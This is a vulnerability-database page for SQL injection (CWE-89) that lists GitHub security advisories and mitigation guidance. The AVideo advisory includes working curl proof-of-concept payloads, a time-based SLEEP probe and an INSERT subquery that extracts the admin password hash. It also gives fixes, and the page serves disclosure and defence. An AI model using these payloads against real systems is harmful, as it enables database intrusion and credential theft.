CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
27932 vulnerabilities reference this CWE, most recent first.
GHSA-FFR8-FXHV-FV8H
Vulnerability from github – Published: 2026-03-25 21:56 – Updated: 2026-03-25 21:56Summary
The Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.
Details
The vulnerability exists because of a disconnect between where intval() is applied and where the value is used in SQL.
Entry points — objects/subscribe.json.php:40 and objects/subscribeNotify.json.php:23:
// subscribe.json.php line 40
$subscribe = new Subscribe(0, $_POST['email'], $_POST['user_id'], User::getId());
Constructor stores raw value — objects/subscribe.php:34:
public function __construct($id, $email = "", $user_id = "", $subscriber_users_id = "")
{
// ...
$this->users_id = $user_id; // Raw $_POST['user_id'], no sanitization
$this->subscriber_users_id = $subscriber_users_id;
if (empty($this->id)) {
$this->loadFromId($this->subscriber_users_id, $user_id, "");
}
}
getSubscribeFromID sanitizes local copies only — objects/subscribe.php:137-139:
public static function getSubscribeFromID($subscriber_users_id, $user_id, $status = "a"){
$subscriber_users_id = intval($subscriber_users_id); // Local variable only
$user_id = intval($user_id); // Local variable only — $this->users_id is NOT affected
When getSubscribeFromID finds no matching subscription (the attacker simply targets a user_id they haven't subscribed to), loadFromId() returns false. The object's $this->id remains null, and $this->users_id retains the unsanitized injection payload.
Vulnerable sink — objects/subscribe.php:88:
public function save()
{
if (!empty($this->id)) {
// UPDATE path (not reached when $this->id is null)
} else {
$this->status = 'a';
$sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id)
VALUES ('{$this->users_id}', ..."; // Direct concatenation of injected value
}
$saved = sqlDAL::writeSql($sql); // Called with NO $formats or $values
sqlDAL::writeSql provides no protection — objects/mysql_dal.php:102:
When called without $formats/$values parameters (as save() does), the eval_mysql_bind() function at line 636 returns true without binding any parameters. The already-concatenated SQL string is passed directly to $global['mysqli']->prepare() and execute(), executing the injection as the prepared statement itself.
PoC
Prerequisites: An authenticated session on the target AVideo instance.
Step 1: Confirm injection with time-based blind SQLi
# Pick a user_id that the current user has NOT subscribed to (e.g., 99999)
# The SLEEP(5) will cause a ~5 second delay confirming injection
curl -s -o /dev/null -w "%{time_total}" \
-b 'PHPSESSID=VALID_SESSION_ID' \
-d "user_id=99999'+AND+SLEEP(5)+AND+'1" \
https://target/objects/subscribe.json.php
# Expected: ~5 second response time (vs <1 second normally)
Step 2: Extract admin password hash via INSERT subquery
# Inject a subquery that reads the admin password hash into the email column
curl -b 'PHPSESSID=VALID_SESSION_ID' \
-d "user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23" \
https://target/objects/subscribe.json.php
This closes the VALUES clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the email column of the subscribes table, which can be read back via the subscription list API.
Step 3: Read exfiltrated data
The injected row is readable via any endpoint that queries the subscribes table and returns the email field (e.g., getAllSubscribes()).
The same attack works against objects/subscribeNotify.json.php via the same user_id parameter.
Impact
- Full database read access: An attacker with any authenticated account can extract arbitrary data from all database tables using INSERT subqueries, including:
- User password hashes (
users.pass) - Admin credentials
- Encryption salts and API keys from configuration tables
- Email addresses and personal data of all users
- Data integrity: The attacker can insert arbitrary rows into the
subscribestable. - Two affected endpoints: Both
subscribe.json.phpandsubscribeNotify.json.phppass raw$_POST['user_id']to the vulnerable code path.
Recommended Fix
Apply intval() to $this->users_id before use in the constructor, or better yet, use parameterized queries in save().
Option 1 — Sanitize in constructor (minimal fix):
// objects/subscribe.php, constructor (line 34)
- $this->users_id = $user_id;
+ $this->users_id = intval($user_id);
Option 2 — Use parameterized query in save() (recommended):
// objects/subscribe.php, save() method (lines 87-90)
public function save()
{
global $global;
if (!empty($this->id)) {
$sql = "UPDATE subscribes SET status = ?, notify = ?, ip = ?, modified = now() WHERE id = ?";
$saved = sqlDAL::writeSql($sql, "sssi", [$this->status, $this->notify, getRealIpAddr(), $this->id]);
} else {
$this->status = 'a';
$sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) VALUES (?, ?, ?, ?, now(), now(), ?)";
$saved = sqlDAL::writeSql($sql, "isssi", [intval($this->users_id), $this->email, $this->status, getRealIpAddr(), intval($this->subscriber_users_id)]);
}
Option 2 is strongly recommended as it also fixes the unsanitized $this->email, $this->status, and getRealIpAddr() values in both the INSERT and UPDATE paths, preventing any future injection through those fields.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33723"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:56:12Z",
"nvd_published_at": "2026-03-23T19:16:42Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `Subscribe::save()` method in `objects/subscribe.php` concatenates the `$this-\u003eusers_id` property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from `$_POST[\u0027user_id\u0027]` in both `subscribe.json.php` and `subscribeNotify.json.php`. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.\n\n## Details\n\nThe vulnerability exists because of a disconnect between where `intval()` is applied and where the value is used in SQL.\n\n**Entry points** \u2014 `objects/subscribe.json.php:40` and `objects/subscribeNotify.json.php:23`:\n\n```php\n// subscribe.json.php line 40\n$subscribe = new Subscribe(0, $_POST[\u0027email\u0027], $_POST[\u0027user_id\u0027], User::getId());\n```\n\n**Constructor stores raw value** \u2014 `objects/subscribe.php:34`:\n\n```php\npublic function __construct($id, $email = \"\", $user_id = \"\", $subscriber_users_id = \"\")\n{\n // ...\n $this-\u003eusers_id = $user_id; // Raw $_POST[\u0027user_id\u0027], no sanitization\n $this-\u003esubscriber_users_id = $subscriber_users_id;\n if (empty($this-\u003eid)) {\n $this-\u003eloadFromId($this-\u003esubscriber_users_id, $user_id, \"\");\n }\n}\n```\n\n**`getSubscribeFromID` sanitizes local copies only** \u2014 `objects/subscribe.php:137-139`:\n\n```php\npublic static function getSubscribeFromID($subscriber_users_id, $user_id, $status = \"a\"){\n $subscriber_users_id = intval($subscriber_users_id); // Local variable only\n $user_id = intval($user_id); // Local variable only \u2014 $this-\u003eusers_id is NOT affected\n```\n\nWhen `getSubscribeFromID` finds no matching subscription (the attacker simply targets a user_id they haven\u0027t subscribed to), `loadFromId()` returns false. The object\u0027s `$this-\u003eid` remains null, and `$this-\u003eusers_id` retains the unsanitized injection payload.\n\n**Vulnerable sink** \u2014 `objects/subscribe.php:88`:\n\n```php\npublic function save()\n{\n if (!empty($this-\u003eid)) {\n // UPDATE path (not reached when $this-\u003eid is null)\n } else {\n $this-\u003estatus = \u0027a\u0027;\n $sql = \"INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) \n VALUES (\u0027{$this-\u003eusers_id}\u0027, ...\"; // Direct concatenation of injected value\n }\n $saved = sqlDAL::writeSql($sql); // Called with NO $formats or $values\n```\n\n**`sqlDAL::writeSql` provides no protection** \u2014 `objects/mysql_dal.php:102`:\n\nWhen called without `$formats`/`$values` parameters (as `save()` does), the `eval_mysql_bind()` function at line 636 returns `true` without binding any parameters. The already-concatenated SQL string is passed directly to `$global[\u0027mysqli\u0027]-\u003eprepare()` and `execute()`, executing the injection as the prepared statement itself.\n\n## PoC\n\n**Prerequisites:** An authenticated session on the target AVideo instance.\n\n**Step 1: Confirm injection with time-based blind SQLi**\n\n```bash\n# Pick a user_id that the current user has NOT subscribed to (e.g., 99999)\n# The SLEEP(5) will cause a ~5 second delay confirming injection\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n -b \u0027PHPSESSID=VALID_SESSION_ID\u0027 \\\n -d \"user_id=99999\u0027+AND+SLEEP(5)+AND+\u00271\" \\\n https://target/objects/subscribe.json.php\n# Expected: ~5 second response time (vs \u003c1 second normally)\n```\n\n**Step 2: Extract admin password hash via INSERT subquery**\n\n```bash\n# Inject a subquery that reads the admin password hash into the email column\ncurl -b \u0027PHPSESSID=VALID_SESSION_ID\u0027 \\\n -d \"user_id=99999\u0027,(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),\u0027a\u0027,\u00271.1.1.1\u0027,now(),now(),\u00271\u0027);%23\" \\\n https://target/objects/subscribe.json.php\n```\n\nThis closes the `VALUES` clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the `email` column of the `subscribes` table, which can be read back via the subscription list API.\n\n**Step 3: Read exfiltrated data**\n\nThe injected row is readable via any endpoint that queries the `subscribes` table and returns the `email` field (e.g., `getAllSubscribes()`).\n\nThe same attack works against `objects/subscribeNotify.json.php` via the same `user_id` parameter.\n\n## Impact\n\n- **Full database read access:** An attacker with any authenticated account can extract arbitrary data from all database tables using INSERT subqueries, including:\n - User password hashes (`users.pass`)\n - Admin credentials\n - Encryption salts and API keys from configuration tables\n - Email addresses and personal data of all users\n- **Data integrity:** The attacker can insert arbitrary rows into the `subscribes` table.\n- **Two affected endpoints:** Both `subscribe.json.php` and `subscribeNotify.json.php` pass raw `$_POST[\u0027user_id\u0027]` to the vulnerable code path.\n\n## Recommended Fix\n\nApply `intval()` to `$this-\u003eusers_id` before use in the constructor, or better yet, use parameterized queries in `save()`.\n\n**Option 1 \u2014 Sanitize in constructor** (minimal fix):\n\n```php\n// objects/subscribe.php, constructor (line 34)\n- $this-\u003eusers_id = $user_id;\n+ $this-\u003eusers_id = intval($user_id);\n```\n\n**Option 2 \u2014 Use parameterized query in save()** (recommended):\n\n```php\n// objects/subscribe.php, save() method (lines 87-90)\npublic function save()\n{\n global $global;\n if (!empty($this-\u003eid)) {\n $sql = \"UPDATE subscribes SET status = ?, notify = ?, ip = ?, modified = now() WHERE id = ?\";\n $saved = sqlDAL::writeSql($sql, \"sssi\", [$this-\u003estatus, $this-\u003enotify, getRealIpAddr(), $this-\u003eid]);\n } else {\n $this-\u003estatus = \u0027a\u0027;\n $sql = \"INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) VALUES (?, ?, ?, ?, now(), now(), ?)\";\n $saved = sqlDAL::writeSql($sql, \"isssi\", [intval($this-\u003eusers_id), $this-\u003eemail, $this-\u003estatus, getRealIpAddr(), intval($this-\u003esubscriber_users_id)]);\n }\n```\n\nOption 2 is strongly recommended as it also fixes the unsanitized `$this-\u003eemail`, `$this-\u003estatus`, and `getRealIpAddr()` values in both the INSERT and UPDATE paths, preventing any future injection through those fields.",
"id": "GHSA-ffr8-fxhv-fv8h",
"modified": "2026-03-25T21:56:12Z",
"published": "2026-03-25T21:56:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ffr8-fxhv-fv8h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33723"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/36dfae22059fbd66fd34bbc5568a838fc0efd66c"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo is Vulnerable to SQL Injection through Subscribe Endpoint via Unsanitized user_id Parameter"
}
GHSA-FFV2-RWR2-WWGF
Vulnerability from github – Published: 2022-05-13 01:27 – Updated: 2025-04-12 12:52ZOHO ManageEngine EventLog Analyzer 10.6 build 10060 and earlier allows remote attackers to bypass intended restrictions and execute arbitrary SQL commands via an allowed query followed by a disallowed one in the query parameter to event/runQuery.do, as demonstrated by "SELECT 1;INSERT INTO." Fixed in Build 11200.
{
"affected": [],
"aliases": [
"CVE-2015-7387"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-09-28T15:59:00Z",
"severity": "HIGH"
},
"details": "ZOHO ManageEngine EventLog Analyzer 10.6 build 10060 and earlier allows remote attackers to bypass intended restrictions and execute arbitrary SQL commands via an allowed query followed by a disallowed one in the query parameter to event/runQuery.do, as demonstrated by \"SELECT 1;INSERT INTO.\" Fixed in Build 11200.",
"id": "GHSA-ffv2-rwr2-wwgf",
"modified": "2025-04-12T12:52:20Z",
"published": "2022-05-13T01:27:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7387"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/38173"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/38352"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/133581/ManageEngine-EventLog-Analyzer-10.6-Build-10060-SQL-Query-Execution.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/133747/ManageEngine-EventLog-Analyzer-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2015/Sep/59"
},
{
"type": "WEB",
"url": "http://www.rapid7.com/db/modules/exploit/windows/misc/manageengine_eventlog_analyzer_rce"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FFV4-C3XC-XFHM
Vulnerability from github – Published: 2022-05-14 01:47 – Updated: 2022-05-14 01:47Grapixel New Media v2.0 allows SQL Injection via the pages.aspx pageref parameter.
{
"affected": [],
"aliases": [
"CVE-2018-18822"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-30T06:29:00Z",
"severity": "CRITICAL"
},
"details": "Grapixel New Media v2.0 allows SQL Injection via the pages.aspx pageref parameter.",
"id": "GHSA-ffv4-c3xc-xfhm",
"modified": "2022-05-14T01:47:13Z",
"published": "2022-05-14T01:47:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18822"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/45704"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FFVM-RQGH-2WGF
Vulnerability from github – Published: 2023-04-21 12:30 – Updated: 2023-04-21 12:30A vulnerability classified as critical has been found in Campcodes Coffee Shop POS System 1.0. Affected is an unknown function of the file /admin/user/manage_user.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-226980.
{
"affected": [],
"aliases": [
"CVE-2023-2215"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-21T10:15:07Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in Campcodes Coffee Shop POS System 1.0. Affected is an unknown function of the file /admin/user/manage_user.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-226980.",
"id": "GHSA-ffvm-rqgh-2wgf",
"modified": "2023-04-21T12:30:20Z",
"published": "2023-04-21T12:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2215"
},
{
"type": "WEB",
"url": "https://github.com/E1CHO/cve_hub/blob/main/Coffee%20Shop%20POS%20System/Coffee%20Shop%20POS%20System%20-%20vuln%207.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.226980"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.226980"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-FFVV-9RPR-Q6R5
Vulnerability from github – Published: 2024-06-11 09:30 – Updated: 2024-06-11 09:30The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to SQL Injection via the 'b2sSortPostType' parameter in all versions up to, and including, 7.4.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
{
"affected": [],
"aliases": [
"CVE-2024-3549"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-11T07:15:41Z",
"severity": "CRITICAL"
},
"details": "The Blog2Social: Social Media Auto Post \u0026 Scheduler plugin for WordPress is vulnerable to SQL Injection via the \u0027b2sSortPostType\u0027 parameter in all versions up to, and including, 7.4.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
"id": "GHSA-ffvv-9rpr-q6r5",
"modified": "2024-06-11T09:30:59Z",
"published": "2024-06-11T09:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3549"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3069574/blog2social/trunk/includes/B2S/Post/Item.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3b472eb8-9808-4a50-b2b4-0b0b3256053f?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FFW5-JGVQ-83R5
Vulnerability from github – Published: 2022-05-02 03:49 – Updated: 2022-05-02 03:49SQL injection vulnerability in summary.php in Xerox Fiery Webtools allows remote attackers to execute arbitrary SQL commands via the select parameter.
{
"affected": [],
"aliases": [
"CVE-2009-3913"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-11-09T17:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in summary.php in Xerox Fiery Webtools allows remote attackers to execute arbitrary SQL commands via the select parameter.",
"id": "GHSA-ffw5-jgvq-83r5",
"modified": "2022-05-02T03:49:46Z",
"published": "2022-05-02T03:49:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3913"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/54137"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/507650/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/36906"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FFW7-5H9M-575F
Vulnerability from github – Published: 2026-01-02 18:30 – Updated: 2026-01-22 18:30An SQL injection vulnerability has been reported to affect Hyper Data Protector. The remote attackers can then exploit the vulnerability to execute unauthorized code or commands.
We have already fixed the vulnerability in the following versions: Hyper Data Protector 2.2.4.1 and later
{
"affected": [],
"aliases": [
"CVE-2025-59389"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-02T16:17:00Z",
"severity": "HIGH"
},
"details": "An SQL injection vulnerability has been reported to affect Hyper Data Protector. The remote attackers can then exploit the vulnerability to execute unauthorized code or commands.\n\nWe have already fixed the vulnerability in the following versions:\nHyper Data Protector 2.2.4.1 and later",
"id": "GHSA-ffw7-5h9m-575f",
"modified": "2026-01-22T18:30:30Z",
"published": "2026-01-02T18:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59389"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-25-48"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FFWF-47X2-JPR8
Vulnerability from github – Published: 2022-11-13 12:00 – Updated: 2022-11-17 20:15A vulnerability was found in matrix-appservice-irc up to 0.35.1. This vulnerability affects the file src/datastore/postgres/PgDataStore.ts. The manipulation of the argument roomIds leads to sql injection. Upgrading to version 0.36.0 is able to address this issue. The name of the patch is 179313a37f06b298150edba3e2b0e5a73c1415e7. It is recommended to upgrade the affected component.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "matrix-appservice-irc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.36.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-3971"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-15T23:59:15Z",
"nvd_published_at": "2022-11-13T10:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in matrix-appservice-irc up to 0.35.1. This vulnerability affects the file src/datastore/postgres/PgDataStore.ts. The manipulation of the argument roomIds leads to sql injection. Upgrading to version 0.36.0 is able to address this issue. The name of the patch is 179313a37f06b298150edba3e2b0e5a73c1415e7. It is recommended to upgrade the affected component. ",
"id": "GHSA-ffwf-47x2-jpr8",
"modified": "2022-11-17T20:15:22Z",
"published": "2022-11-13T12:00:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3971"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-appservice-irc/pull/1619"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-appservice-irc/commit/179313a37f06b298150edba3e2b0e5a73c1415e7"
},
{
"type": "PACKAGE",
"url": "https://github.com/matrix-org/matrix-appservice-irc"
},
{
"type": "WEB",
"url": "https://github.com/matrix-org/matrix-appservice-irc/releases/tag/0.36.0"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.213550"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Matrix-appservice-irc vulnerable to sql injection via roomIds argument"
}
GHSA-FFWX-GCGV-GV97
Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2025-04-12 12:42SQL injection vulnerability in the IPS Connect service (interface/ipsconnect/ipsconnect.php) in Invision Power Board (aka IPB or IP.Board) 3.3.x and 3.4.x through 3.4.7 before 20141114 allows remote attackers to execute arbitrary SQL commands via the id[] parameter.
{
"affected": [],
"aliases": [
"CVE-2014-9239"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-12-03T21:59:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the IPS Connect service (interface/ipsconnect/ipsconnect.php) in Invision Power Board (aka IPB or IP.Board) 3.3.x and 3.4.x through 3.4.7 before 20141114 allows remote attackers to execute arbitrary SQL commands via the id[] parameter.",
"id": "GHSA-ffwx-gcgv-gv97",
"modified": "2025-04-12T12:42:31Z",
"published": "2022-05-13T01:26:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9239"
},
{
"type": "WEB",
"url": "http://community.invisionpower.com/blogs/entry/9704-active-security-exploit"
},
{
"type": "WEB",
"url": "http://community.invisionpower.com/blogs/entry/9705-ipboard-33x-34x-security-update"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2014/Nov/20"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FFX6-GV7P-CH36
Vulnerability from github – Published: 2022-05-02 03:31 – Updated: 2022-05-02 03:31SQL injection vulnerability in index.php in Shop-Script Pro 2.12, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the current_currency parameter.
{
"affected": [],
"aliases": [
"CVE-2009-2023"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-06-09T19:30:00Z",
"severity": "MODERATE"
},
"details": "SQL injection vulnerability in index.php in Shop-Script Pro 2.12, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the current_currency parameter.",
"id": "GHSA-ffx6-gv7p-ch36",
"modified": "2022-05-02T03:31:08Z",
"published": "2022-05-02T03:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2023"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8906"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/33634"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1533"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
